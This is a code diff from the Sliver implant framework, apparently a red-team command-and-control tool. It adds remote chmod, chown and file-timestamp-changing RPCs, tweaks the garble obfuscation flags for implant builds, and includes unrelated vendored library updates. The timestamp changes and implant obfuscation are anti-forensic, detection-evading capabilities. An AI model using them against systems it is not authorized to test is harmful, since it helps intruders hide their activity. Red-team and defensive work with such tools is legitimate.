||||
0, // [0:0] is the sub-list for field type_name
|
||||
|
||||
@@ -112,6 +112,9 @@ service SliverRPC {
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
rpc Upload(sliverpb.UploadReq) returns (sliverpb.Upload);
|
||||
rpc Chmod(sliverpb.ChmodReq) returns (sliverpb.Chmod);
|
||||
rpc Chown(sliverpb.ChownReq) returns (sliverpb.Chown);
|
||||
rpc Chtimes(sliverpb.ChtimesReq) returns (sliverpb.Chtimes);
|
||||
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
|
||||
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
|
||||
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
|
||||
|
||||
@@ -1,4 +1,8 @@
|
||||
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
|
||||
// versions:
|
||||
// - protoc-gen-go-grpc v1.2.0
|
||||
// - protoc v4.22.2
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
|
||||
@@ -108,6 +112,9 @@ type SliverRPCClient interface {
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
Upload(ctx context.Context, in *sliverpb.UploadReq, opts ...grpc.CallOption) (*sliverpb.Upload, error)
|
||||
Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error)
|
||||
Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error)
|
||||
Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error)
|
||||
ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error)
|
||||
RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error)
|
||||
Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error)
|
||||
@@ -866,6 +873,33 @@ func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, op
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error) {
|
||||
out := new(sliverpb.Chmod)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chmod", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error) {
|
||||
out := new(sliverpb.Chown)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chown", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error) {
|
||||
out := new(sliverpb.Chtimes)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chtimes", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) {
|
||||
out := new(sliverpb.ProcessDump)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...)
|
||||
@@ -1564,6 +1598,9 @@ type SliverRPCServer interface {
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
Upload(context.Context, *sliverpb.UploadReq) (*sliverpb.Upload, error)
|
||||
Chmod(context.Context, *sliverpb.ChmodReq) (*sliverpb.Chmod, error)
|
||||
Chown(context.Context, *sliverpb.ChownReq) (*sliverpb.Chown, error)
|
||||
Chtimes(context.Context, *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error)
|
||||
ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error)
|
||||
RunAs(context.Context, *sliverpb.RunAsReq) (*sliverpb.RunAs, error)
|
||||
Impersonate(context.Context, *sliverpb.ImpersonateReq) (*sliverpb.Impersonate, error)
|
||||
@@ -1858,6 +1895,15 @@ func (UnimplementedSliverRPCServer) Download(context.Context, *sliverpb.Download
|
||||
func (UnimplementedSliverRPCServer) Upload(context.Context, *sliverpb.UploadReq) (*sliverpb.Upload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Upload not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chmod(context.Context, *sliverpb.ChmodReq) (*sliverpb.Chmod, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chmod not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chown(context.Context, *sliverpb.ChownReq) (*sliverpb.Chown, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chown not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Chtimes(context.Context, *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Chtimes not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ProcessDump not implemented")
|
||||
}
|
||||
@@ -3368,6 +3414,60 @@ func _SliverRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(in
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chmod_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChmodReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chmod(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chmod",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chmod(ctx, req.(*sliverpb.ChmodReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chown_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChownReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chown(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chown",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chown(ctx, req.(*sliverpb.ChownReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Chtimes_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ChtimesReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Chtimes(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Chtimes",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Chtimes(ctx, req.(*sliverpb.ChtimesReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ProcessDump_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ProcessDumpReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -4762,6 +4862,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Upload",
|
||||
Handler: _SliverRPC_Upload_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chmod",
|
||||
Handler: _SliverRPC_Chmod_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chown",
|
||||
Handler: _SliverRPC_Chown_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Chtimes",
|
||||
Handler: _SliverRPC_Chtimes_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ProcessDump",
|
||||
Handler: _SliverRPC_ProcessDump_Handler,
|
||||
|
||||
@@ -298,6 +298,21 @@ const (
|
||||
MsgRportFwdListenersReq
|
||||
|
||||
MsgRPortfwdReq
|
||||
|
||||
// MsgChmodReq - Request to chmod a file
|
||||
MsgChmodReq
|
||||
// MsgChmod - Replies with file path
|
||||
MsgChmod
|
||||
|
||||
// MsgChownReq - Request to chown a file
|
||||
MsgChownReq
|
||||
// MsgChown - Replies with file path
|
||||
MsgChown
|
||||
|
||||
// MsgChtimesReq - Request to chtimes a file
|
||||
MsgChtimesReq
|
||||
// MsgChown - Replies with file path
|
||||
MsgChtimes
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -524,6 +539,20 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgRportFwdListeners
|
||||
case *RPortfwdReq:
|
||||
return MsgRPortfwdReq
|
||||
|
||||
case *ChmodReq:
|
||||
return MsgChmodReq
|
||||
case *Chmod:
|
||||
return MsgChmod
|
||||
case *ChownReq:
|
||||
return MsgChownReq
|
||||
case *Chown:
|
||||
return MsgChown
|
||||
case *ChtimesReq:
|
||||
return MsgChtimesReq
|
||||
case *Chtimes:
|
||||
return MsgChtimes
|
||||
|
||||
}
|
||||
return uint32(0)
|
||||
}
|
||||
+1634
-1103
File diff suppressed because it is too large.
Load diff
@@ -172,6 +172,8 @@ message FileInfo {
|
||||
int64 ModTime = 4;
|
||||
string Mode = 5;
|
||||
string Link = 6;
|
||||
string Uid = 7;
|
||||
string Gid = 8;
|
||||
}
|
||||
|
||||
message CdReq {
|
||||
@@ -1113,4 +1115,46 @@ message RPortfwdReq {
|
||||
|
||||
}
|
||||
|
||||
message ChmodReq {
|
||||
string Path = 1;
|
||||
string FileMode = 2;
|
||||
bool Recursive = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chmod {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ChownReq {
|
||||
string Path = 1;
|
||||
string Uid = 2;
|
||||
string Gid = 3;
|
||||
bool Recursive = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chown {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ChtimesReq {
|
||||
string Path = 1;
|
||||
int64 ATime = 2;
|
||||
int64 MTime = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Chtimes {
|
||||
string Path = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build cgosqlite
|
||||
//go:build cgo_sqlite
|
||||
|
||||
package db
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build gosqlite
|
||||
//go:build go_sqlite
|
||||
|
||||
package db
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build wasm_sqlite
|
||||
|
||||
package db
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
_ "github.com/ncruces/go-sqlite3"
|
||||
"gorm.io/driver/sqlite"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
func sqliteClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
|
||||
dsn, err := dbConfig.DSN()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
dbClient, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{
|
||||
PrepareStmt: true,
|
||||
Logger: getGormLogger(dbConfig),
|
||||
})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return dbClient
|
||||
}
|
||||
+8
-15
@@ -27,7 +27,6 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/shirou/gopsutil/v3/mem"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -81,19 +80,13 @@ func GetGoModCache(appDir string) string {
|
||||
return cachePath
|
||||
}
|
||||
|
||||
// The Gb limit here is somewhat arbitrary but is based on my own testing
|
||||
func garbleMaxLiteralSize() string {
|
||||
vmStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
|
||||
return fmt.Sprintf("%d", 1*kb) // Use default
|
||||
// Garble requires $HOME to be defined, if it's not set we use the os temp dir
|
||||
func getHomeDir() string {
|
||||
home := os.Getenv("HOME")
|
||||
if home == "" {
|
||||
return os.TempDir()
|
||||
}
|
||||
if 10*gb < vmStat.Total {
|
||||
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
|
||||
return fmt.Sprintf("%d", 64*kb)
|
||||
}
|
||||
gogoLog.Infof("Low system memory, disable large literal obfuscation")
|
||||
return fmt.Sprintf("%d", 2*kb)
|
||||
return home
|
||||
}
|
||||
|
||||
// GarbleCmd - Execute a go command
|
||||
@@ -103,7 +96,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
|
||||
}
|
||||
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
|
||||
garbleFlags := []string{"-seed=random", "-literals"}
|
||||
garbleFlags := []string{"-seed=random", "-literals", "-tiny"}
|
||||
command = append(garbleFlags, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
@@ -116,11 +109,11 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
fmt.Sprintf("HOME=%s", getHomeDir()),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
|
||||
@@ -118,6 +118,36 @@ func (rpc *Server) Upload(ctx context.Context, req *sliverpb.UploadReq) (*sliver
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chmod - Change permission on a file or directory
|
||||
func (rpc *Server) Chmod(ctx context.Context, req *sliverpb.ChmodReq) (*sliverpb.Chmod, error) {
|
||||
resp := &sliverpb.Chmod{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chown - Change owner on a file or directory
|
||||
func (rpc *Server) Chown(ctx context.Context, req *sliverpb.ChownReq) (*sliverpb.Chown, error) {
|
||||
resp := &sliverpb.Chown{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chtimes - Change file access and modification times on a file or directory
|
||||
func (rpc *Server) Chtimes(ctx context.Context, req *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error) {
|
||||
resp := &sliverpb.Chtimes{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
|
||||
fsLog.Debugf("Adding IOC to database ...")
|
||||
request := req.GetRequest()
|
||||
|
||||
+1
@@ -1,2 +1,3 @@
|
||||
.DS_Store
|
||||
.*.sw?
|
||||
/coverage.txt
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"settingsInheritedFrom": "VividCortex/whitesource-config@master"
|
||||
}
|
||||
+17
-12
@@ -1,4 +1,8 @@
|
||||
# EWMA [](https://godoc.org/github.com/VividCortex/ewma) 
|
||||
# EWMA
|
||||
|
||||
[](https://godoc.org/github.com/VividCortex/ewma)
|
||||

|
||||
[](https://codecov.io/gh/VividCortex/ewma)
|
||||
|
||||
This repo provides Exponentially Weighted Moving Average algorithms, or EWMAs for short, [based on our
|
||||
Quantifying Abnormal Behavior talk](https://vividcortex.com/blog/2013/07/23/a-fast-go-library-for-exponential-moving-averages/).
|
||||
@@ -103,23 +107,24 @@ View the GoDoc generated documentation [here](http://godoc.org/github.com/VividC
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import "github.com/VividCortex/ewma"
|
||||
|
||||
func main() {
|
||||
samples := [100]float64{
|
||||
4599, 5711, 4746, 4621, 5037, 4218, 4925, 4281, 5207, 5203, 5594, 5149,
|
||||
}
|
||||
samples := [100]float64{
|
||||
4599, 5711, 4746, 4621, 5037, 4218, 4925, 4281, 5207, 5203, 5594, 5149,
|
||||
}
|
||||
|
||||
e := ewma.NewMovingAverage() //=> Returns a SimpleEWMA if called without params
|
||||
a := ewma.NewMovingAverage(5) //=> returns a VariableEWMA with a decay of 2 / (5 + 1)
|
||||
e := ewma.NewMovingAverage() //=> Returns a SimpleEWMA if called without params
|
||||
a := ewma.NewMovingAverage(5) //=> returns a VariableEWMA with a decay of 2 / (5 + 1)
|
||||
|
||||
for _, f := range samples {
|
||||
e.Add(f)
|
||||
a.Add(f)
|
||||
}
|
||||
for _, f := range samples {
|
||||
e.Add(f)
|
||||
a.Add(f)
|
||||
}
|
||||
|
||||
e.Value() //=> 13.577404704631077
|
||||
a.Value() //=> 1.5806140565521463e-12
|
||||
e.Value() //=> 13.577404704631077
|
||||
a.Value() //=> 1.5806140565521463e-12
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
+6
@@ -0,0 +1,6 @@
|
||||
coverage:
|
||||
status:
|
||||
project:
|
||||
default:
|
||||
threshold: 15%
|
||||
patch: off
|
||||
+2
-2
@@ -53,7 +53,7 @@ type GetPartialAXTreeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for.
|
||||
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for.
|
||||
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true.
|
||||
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this node's ancestors, siblings and children. Defaults to true.
|
||||
}
|
||||
|
||||
// GetPartialAXTree fetches the accessibility node and partial accessibility
|
||||
@@ -87,7 +87,7 @@ func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *G
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithFetchRelatives whether to fetch this nodes ancestors, siblings and
|
||||
// WithFetchRelatives whether to fetch this node's ancestors, siblings and
|
||||
// children. Defaults to true.
|
||||
func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams {
|
||||
p.FetchRelatives = fetchRelatives
|
||||
|
||||
+13
-9
@@ -3,7 +3,7 @@ package accessibility
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -64,7 +64,8 @@ func (t ValueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueType(in.String()) {
|
||||
v := in.String()
|
||||
switch ValueType(v) {
|
||||
case ValueTypeBoolean:
|
||||
*t = ValueTypeBoolean
|
||||
case ValueTypeTristate:
|
||||
@@ -101,7 +102,7 @@ func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueTypeValueUndefined
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueType value"))
|
||||
in.AddError(fmt.Errorf("unknown ValueType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -142,7 +143,8 @@ func (t ValueSourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueSourceType(in.String()) {
|
||||
v := in.String()
|
||||
switch ValueSourceType(v) {
|
||||
case ValueSourceTypeAttribute:
|
||||
*t = ValueSourceTypeAttribute
|
||||
case ValueSourceTypeImplicit:
|
||||
@@ -157,7 +159,7 @@ func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueSourceTypeRelatedElement
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueSourceType value"))
|
||||
in.AddError(fmt.Errorf("unknown ValueSourceType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -203,7 +205,8 @@ func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ValueNativeSourceType(in.String()) {
|
||||
v := in.String()
|
||||
switch ValueNativeSourceType(v) {
|
||||
case ValueNativeSourceTypeDescription:
|
||||
*t = ValueNativeSourceTypeDescription
|
||||
case ValueNativeSourceTypeFigcaption:
|
||||
@@ -226,7 +229,7 @@ func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueNativeSourceTypeOther
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ValueNativeSourceType value"))
|
||||
in.AddError(fmt.Errorf("unknown ValueNativeSourceType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -347,7 +350,8 @@ func (t PropertyName) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PropertyName(in.String()) {
|
||||
v := in.String()
|
||||
switch PropertyName(v) {
|
||||
case PropertyNameBusy:
|
||||
*t = PropertyNameBusy
|
||||
case PropertyNameDisabled:
|
||||
@@ -428,7 +432,7 @@ func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PropertyNameOwns
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PropertyName value"))
|
||||
in.AddError(fmt.Errorf("unknown PropertyName value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+4
-3
@@ -3,7 +3,7 @@ package animation
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -88,7 +88,8 @@ func (t Type) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch Type(in.String()) {
|
||||
v := in.String()
|
||||
switch Type(v) {
|
||||
case TypeCSSTransition:
|
||||
*t = TypeCSSTransition
|
||||
case TypeCSSAnimation:
|
||||
@@ -97,7 +98,7 @@ func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = TypeWebAnimation
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown Type value"))
|
||||
in.AddError(fmt.Errorf("unknown Type value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+9
-2
@@ -1465,6 +1465,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAudits12(in *jlexer.Lexer, ou
|
||||
(out.ErrorType).UnmarshalEasyJSON(in)
|
||||
case "frameId":
|
||||
(out.FrameID).UnmarshalEasyJSON(in)
|
||||
case "violatingNodeId":
|
||||
(out.ViolatingNodeID).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -1489,6 +1491,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAudits12(out *jwriter.Writer,
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.FrameID))
|
||||
}
|
||||
if in.ViolatingNodeID != 0 {
|
||||
const prefix string = ",\"violatingNodeId\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.ViolatingNodeID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
@@ -1817,7 +1824,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAudits17(in *jlexer.Lexer, ou
|
||||
(*out.SourceCodeLocation).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "type":
|
||||
(out.Type).UnmarshalEasyJSON(in)
|
||||
out.Type = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -1855,7 +1862,7 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAudits17(out *jwriter.Writer,
|
||||
{
|
||||
const prefix string = ",\"type\":"
|
||||
out.RawString(prefix)
|
||||
(in.Type).MarshalEasyJSON(out)
|
||||
out.String(string(in.Type))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
+126
-275
@@ -3,7 +3,7 @@ package audits
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
@@ -51,13 +51,14 @@ func (t CookieExclusionReason) String() string {
|
||||
|
||||
// CookieExclusionReason values.
|
||||
const (
|
||||
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
|
||||
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
|
||||
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
|
||||
CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
|
||||
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
|
||||
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
|
||||
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
|
||||
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
|
||||
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
|
||||
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
|
||||
